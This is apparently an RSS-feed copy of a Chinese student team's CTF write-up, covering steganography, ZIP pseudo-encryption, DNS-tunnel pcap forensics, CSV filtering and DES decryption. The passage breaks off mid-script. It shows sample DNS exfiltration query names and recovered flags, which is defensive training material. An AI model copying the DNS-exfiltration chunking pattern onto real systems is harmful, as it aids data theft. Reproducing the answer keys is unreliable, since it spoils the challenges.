<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Reserver on M15tak3のBlog</title>
    <link>https://blog.m15tak3.com/tags/reserver/</link>
    <description>Recent content from M15tak3のBlog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    
    <managingEditor>skyman.soul@gmail.com (M15tak3)</managingEditor>
    <webMaster>skyman.soul@gmail.com (M15tak3)</webMaster>
    
    <copyright>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</copyright>
    
    <lastBuildDate>Sun, 24 May 2026 17:00:00 +0800</lastBuildDate>
    
    
    <atom:link href="https://blog.m15tak3.com/tags/reserver/index.xml" rel="self" type="application/rss&#43;xml" />
    

    
      
    

    <item>
      <title>2026cuz第一次校赛wp</title>
      <link>https://blog.m15tak3.com/post/2026-01cuzwp/</link>
      <pubDate>Sun, 24 May 2026 17:00:00 &#43;0800</pubDate>
      <author>skyman.soul@gmail.com (M15tak3)</author>
      <guid>https://blog.m15tak3.com/post/2026-01cuzwp/</guid>
      <description>
        <![CDATA[<h1>2026cuz第一次校赛wp</h1><p>作者：M15tak3（skyman.soul@gmail.com）</p>
        
          <h1 id="2026cuz第一次校赛wp">
<a class="header-anchor" href="#2026cuz%e7%ac%ac%e4%b8%80%e6%ac%a1%e6%a0%a1%e8%b5%9bwp"></a>
2026cuz第一次校赛wp
</h1><p>本wp由She11ud0联合战队联合撰写，M15tak3主编，yunli，hp，YuuJ13r，opureye，洪声越Jeff，沁deer_不哈一同撰写。</p>
<h2 id="misc">
<a class="header-anchor" href="#misc"></a>
MISC
</h2><h3 id="圣经签到">
<a class="header-anchor" href="#%e5%9c%a3%e7%bb%8f%e7%ad%be%e5%88%b0"></a>
圣经（签到）
</h3><p>通过010edit可以直接找到flag</p>
<p><img src="/images/2026cuz_1_wp/image-20260518130347075.png" alt="image-20260518130347075"></p>
<p><code>flag{th1s_is_a_flag_S0_easy}</code></p>
<h3 id="tif">
<a class="header-anchor" href="#tif"></a>
TIF
</h3><p>通过010edit打开找到疑似flag，尝试发现不是，后发现有hint，说是64，猜测可能有base64加密，尝试发现成功</p>
<p><img src="/images/2026cuz_1_wp/image-20260518131111260.png" alt="image-20260518131111260"></p>
<p><img src="/images/2026cuz_1_wp/image-20260518131327213.png" alt="image-20260518131327213"></p>
<p><code>flag{sulphone0729}</code></p>
<h3 id="zip">
<a class="header-anchor" href="#zip"></a>
ZIP
</h3><p>解压发现失败，密码也招募到，猜测可能有伪加密，在010edit中打开</p>
<p><img src="/images/2026cuz_1_wp/image-20260518131813494.png" alt="image-20260518131813494"></p>
<p>打开后发现确实有伪加密的情况，讲0x6的位置的09修改</p>
<p><img src="/images/2026cuz_1_wp/image-20260518131945962.png" alt="image-20260518131945962"></p>
<p>在最后发现文件结尾多出一段，猜测藏东西了</p>
<p><img src="/images/2026cuz_1_wp/image-20260518142532057.png" alt="image-20260518142532057"></p>
<p>用binwalk提取获得一张空白的图片，猜测可能lsb，用stegsolve看一下，找到flag</p>
<p><img src="/images/2026cuz_1_wp/image-20260518142917368.png" alt="image-20260518142917368"></p>
<p><code>flag{sulphone0956}</code></p>
<h3 id="wav">
<a class="header-anchor" href="#wav"></a>
WAV
</h3><p>给了一段音频（听歌放松一下）</p>
<p><img src="/images/2026cuz_1_wp/image-20260518144948032.png" alt="image-20260518144948032"></p>
<p>发现频谱图里面藏了flag，但提交后不正确，猜测可能还有，或者不正确</p>
<p><img src="/images/2026cuz_1_wp/image-20260518145021237.png" alt="image-20260518145021237"></p>
<p>将音频听完或看波形图</p>
<p><img src="/images/2026cuz_1_wp/image-20260518145114978.png" alt="image-20260518145114978"></p>
<p>有摩斯，厨师一下</p>
<p><img src="/images/2026cuz_1_wp/image-20260518145338207.png" alt="image-20260518145338207"></p>
<p>感觉像是一部分，拼接提交成功</p>
<p><code>flag{CTFLeeathKSKBLZDJD}</code></p>
<h3 id="流量包审计">
<a class="header-anchor" href="#%e6%b5%81%e9%87%8f%e5%8c%85%e5%ae%a1%e8%ae%a1"></a>
流量包审计
</h3><p>题目描述：内网的备份主机每天凌晨都会产生一些访问日志。管理员发现其中一台机器的 DNS 查询行为不太正常，但 HTTP 访问看起来只是普通巡检。
请从附件流量包中找出被带出的信息。</p>
<p>题面提到“备份主机”“DNS 查询行为不太正常”，同时又说 HTTP 访问看起来像普通巡检。因此第一反应可以把重点放在 DNS 流量上：HTTP 很可能只是干扰，真正的数据通过 DNS 查询带出。</p>
<p>DNS 隧道题常见特征有：</p>
<ul>
<li>
<p>查询域名里出现较长、随机感较强的 label；</p>
</li>
<li>
<p>多个查询使用同一个可疑域名后缀；</p>
</li>
<li>
<p>label 里包含 base32 / base64 / hex 这类编码字符；</p>
</li>
<li>
<p>数据被拆成多个分片，需要重新排序后拼接。</p>
</li>
</ul>
<p>打开 <code>office_backup.pcap</code> 后，可以先看协议统计或直接在 Wireshark 里过滤 DNS：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns
</span></span></code></pre></div><p>会看到一些正常查询，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">www.example.com
</span></span><span class="line"><span class="cl">api.weather.local
</span></span><span class="line"><span class="cl">cdn.hzh-lab.local
</span></span><span class="line"><span class="cl">time.windows.com
</span></span><span class="line"><span class="cl">printer-01.office.local
</span></span></code></pre></div><p>同时还会看到一批格式很规整的域名：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">07-2d4bqibyb.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">06-q4aiccuha.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">08-ci.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">04-cpqjcqcau.exfil.hzh-lab.local
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><p>这类域名的共同后缀是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">exfil.hzh-lab.local
</span></span></code></pre></div><p>其中 <code>exfil</code> 本身就有“数据外带”的含义，基本可以确认这就是主线。</p>
<p><strong>过滤有效 DNS 查询</strong></p>
<p>为了只看客户端发出的 DNS 查询，可以使用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns.flags.response == 0
</span></span></code></pre></div><p>再加上可疑域名后缀：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns.flags.response == 0 &amp;&amp; dns.qry.name contains &#34;exfil.hzh-lab.local&#34;
</span></span></code></pre></div><p>如果想进一步锁定 TXT 查询，可以加上 DNS 查询类型：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dns.flags.response == 0 &amp;&amp; dns.qry.type == 16 &amp;&amp; dns.qry.name contains &#34;exfil.hzh-lab.local&#34;
</span></span></code></pre></div><p>这里 <code>dns.qry.type == 16</code> 表示 TXT 记录查询。很多 DNS 隧道会借助 TXT 记录传输文本或编码后的二进制数据。</p>
<p>需要注意，流量里还有一个干扰域名：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">00-not-a-real-piece.exfil.hzh-lab.fake
</span></span></code></pre></div><p>它虽然包含 <code>exfil</code>，但后缀是 <code>exfil.hzh-lab.fake</code>，不是目标后缀 <code>exfil.hzh-lab.local</code>，应当排除。</p>
<p>按前面的两位序号排序后得到：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>数据片段</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>00</td>
          <td><code>a4mrgcaja</code></td>
      </tr>
      <tr>
          <td>01</td>
          <td><code>uhqmli3a4</code></td>
      </tr>
      <tr>
          <td>02</td>
          <td><code>hq6ea6gab</code></td>
      </tr>
      <tr>
          <td>03</td>
          <td><code>aaaq6c4nq</code></td>
      </tr>
      <tr>
          <td>04</td>
          <td><code>cpqjcqcau</code></td>
      </tr>
      <tr>
          <td>05</td>
          <td><code>lisaqcaoc</code></td>
      </tr>
      <tr>
          <td>06</td>
          <td><code>q4aiccuha</code></td>
      </tr>
      <tr>
          <td>07</td>
          <td><code>2d4bqibyb</code></td>
      </tr>
      <tr>
          <td>08</td>
          <td><code>ci</code></td>
      </tr>
  </tbody>
</table>
<p>拼接数据片段：</p>
<p><code>a4mrgcajauhqmli3a4hq6ea6gabaaaq6c4nqcpqjcqcaulisaqcaocq4aiccuha2d4bqibybci</code></p>
<p>这串长度是 74。base32 解码要求长度是 8 的倍数，因此需要补 <code>=</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">74 % 8 = 2
</span></span></code></pre></div><p>所以补 6 个 <code>=</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">a4mrgcajauhqmli3a4hq6ea6gabaaaq6c4nqcpqjcqcaulisaqcaocq4aiccuha2d4bqibybci======
</span></span></code></pre></div><p>base32 解码后得到的还不是明文。</p>
<p>想试试往flag靠，因为正常flag格式为flag{}，开头是确定的，可以拿这个尝试，试试异或</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">07 xor 66 = 61 -&gt; a
</span></span><span class="line"><span class="cl">19 xor 6c = 75 -&gt; u
</span></span><span class="line"><span class="cl">13 xor 61 = 72 -&gt; r
</span></span><span class="line"><span class="cl">08 xor 67 = 6f -&gt; o
</span></span><span class="line"><span class="cl">09 xor 7b = 72 -&gt; r
</span></span></code></pre></div><p>得到：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">auror
</span></span></code></pre></div><p>这已经非常像一个英文单词/短 key 的开头了。尝试以答案提交不正确，结合题目，猜测会不会答案中有dns类似的题目中的解，</p>
<p>尝试d，可以推出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">05 xor 64 = 61 -&gt; a
</span></span></code></pre></div><p>所以 key 是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">aurora
</span></span></code></pre></div><p>异或后flag正确</p>
<p><code>flag{dns_tunnel_packets_have_sequence_numbers}</code></p>
<h3 id="csv-filter-oracle">
<a class="header-anchor" href="#csv-filter-oracle"></a>
CSV Filter Oracle
</h3><p>这题的关键不是手工看表，而是使用真正的 CSV 解析器。附件里有带逗号、双引号、换行的字段，按行切分会把记录数弄错；Excel 也容易改掉带前导零的字段。</p>
<p>筛选时按题面逐条实现即可：</p>
<ol>
<li>对 <code>site</code>、<code>channel</code>、<code>verdict</code> 做首尾空白清理和大小写归一。</li>
<li>把 <code>severity</code>、<code>bytes_out</code> 严格解析为整数，<code>bytes_out</code> 不能接受 <code>2,048</code> 这类带分隔符的写法。</li>
<li>把 <code>temp_c</code> 解析为 Decimal，并规范到一位小数。</li>
<li>检查 <code>sample_id</code> 的格式和数字和条件。</li>
<li>重新计算 <code>proof</code>，只取 SHA-256 十六进制摘要前 10 位。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">decimal</span> <span class="kn">import</span> <span class="n">Decimal</span><span class="p">,</span> <span class="n">InvalidOperation</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ROOT</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span><span class="o">.</span><span class="n">resolve</span><span class="p">()</span><span class="o">.</span><span class="n">parents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">SRC</span> <span class="o">=</span> <span class="n">ROOT</span> <span class="o">/</span> <span class="s2">&#34;dist&#34;</span> <span class="o">/</span> <span class="s2">&#34;raw_events.csv&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">OUT</span> <span class="o">=</span> <span class="n">ROOT</span> <span class="o">/</span> <span class="s2">&#34;solve&#34;</span> <span class="o">/</span> <span class="s2">&#34;answer.csv&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">clean</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">value</span> <span class="ow">or</span> <span class="s2">&#34;&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34; </span><span class="se">\t\r\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">lower</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">clean</span><span class="p">(</span><span class="n">value</span><span class="p">)</span><span class="o">.</span><span class="n">casefold</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_int</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">text</span> <span class="o">=</span> <span class="n">clean</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">text</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">text</span><span class="o">.</span><span class="n">isdecimal</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="ne">ValueError</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_temp</span><span class="p">(</span><span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">Decimal</span><span class="p">(</span><span class="n">clean</span><span class="p">(</span><span class="n">value</span><span class="p">))</span><span class="o">.</span><span class="n">quantize</span><span class="p">(</span><span class="n">Decimal</span><span class="p">(</span><span class="s2">&#34;0.1&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">proof</span><span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">bytes_int</span><span class="p">,</span> <span class="n">temp</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s1">&#39;record_id&#39;</span><span class="p">])</span><span class="si">}</span><span class="s2">|</span><span class="si">{</span><span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s1">&#39;sample_id&#39;</span><span class="p">])</span><span class="si">}</span><span class="s2">|</span><span class="si">{</span><span class="n">bytes_int</span><span class="si">}</span><span class="s2">|</span><span class="si">{</span><span class="n">temp</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">payload</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()[:</span><span class="mi">10</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">good</span><span class="p">(</span><span class="n">row</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;site&#34;</span><span class="p">])</span> <span class="o">!=</span> <span class="s2">&#34;sector-7&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;channel&#34;</span><span class="p">])</span> <span class="o">!=</span> <span class="s2">&#34;aurora&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;verdict&#34;</span><span class="p">])</span> <span class="o">!=</span> <span class="s2">&#34;pass&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">parse_int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;severity&#34;</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="n">bytes_int</span> <span class="o">=</span> <span class="n">parse_int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;bytes_out&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="mi">1024</span> <span class="o">&lt;=</span> <span class="n">bytes_int</span> <span class="o">&lt;=</span> <span class="mi">4096</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="n">temp</span> <span class="o">=</span> <span class="n">parse_temp</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;temp_c&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="ow">not</span> <span class="n">Decimal</span><span class="p">(</span><span class="s2">&#34;-3.0&#34;</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="n">temp</span> <span class="o">&lt;=</span> <span class="n">Decimal</span><span class="p">(</span><span class="s2">&#34;1.0&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="n">sample</span> <span class="o">=</span> <span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;sample_id&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sample</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">9</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">sample</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;CSV-&#34;</span><span class="p">)</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">sample</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span><span class="o">.</span><span class="n">isdigit</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">sum</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">sample</span><span class="p">[</span><span class="mi">4</span><span class="p">:])</span> <span class="o">%</span> <span class="mi">7</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">lower</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;proof&#34;</span><span class="p">])</span> <span class="o">==</span> <span class="n">proof</span><span class="p">(</span><span class="n">row</span><span class="p">,</span> <span class="n">bytes_int</span><span class="p">,</span> <span class="n">temp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="p">(</span><span class="ne">KeyError</span><span class="p">,</span> <span class="ne">ValueError</span><span class="p">,</span> <span class="n">InvalidOperation</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">SRC</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8-sig&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">rows</span> <span class="o">=</span> <span class="p">[</span><span class="n">row</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span> <span class="k">if</span> <span class="n">good</span><span class="p">(</span><span class="n">row</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span> <span class="o">=</span> <span class="n">reader</span><span class="o">.</span><span class="n">fieldnames</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">rows</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">row</span><span class="p">:</span> <span class="n">clean</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;record_id&#34;</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">OUT</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;w&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictWriter</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">fieldnames</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writeheader</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writerows</span><span class="p">(</span><span class="n">rows</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;wrote </span><span class="si">{</span><span class="n">OUT</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;rows: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">rows</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><h2 id="crypto">
<a class="header-anchor" href="#crypto"></a>
Crypto
</h2><h3 id="最没用的建议">
<a class="header-anchor" href="#%e6%9c%80%e6%b2%a1%e7%94%a8%e7%9a%84%e5%bb%ba%e8%ae%ae"></a>
最没用的建议
</h3><p>拿到题目，我们看到txt中有一段密文</p>
<p><code>+uH6grA85v22A5pmtue1Y7b/a490C4pKm5BA+Jf5LL+Z7B2g/GaO6Q==</code></p>
<p>还有一堆问xxxx，我们看到xxxx都是aabb的形式，其中仔细查看发现缺少了<code>oopp</code></p>
<p>查看py文件</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">KEY</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;********&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">FLAG</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;CUZCTF{*************************}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">IV</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="n">DES</span><span class="o">.</span><span class="n">block_size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">DES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">DES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="o">=</span><span class="n">IV</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="n">DES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">ct</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">FLAG</span><span class="p">,</span> <span class="n">KEY</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p>这是个明显的des加密，其中key为8个字母的，对照前文，我们猜测<code>oopp</code>可能为key，那么由于它是4位的，且题目提示问了一遍没有结果所以问了两遍，所以double一下变成<code>ooppoopp</code>,那这个题目就很简单了</p>
<p>用cyberchef或脚本均可，这里展示脚本</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">unpad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">KEY</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;ooppoopp&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">IV</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
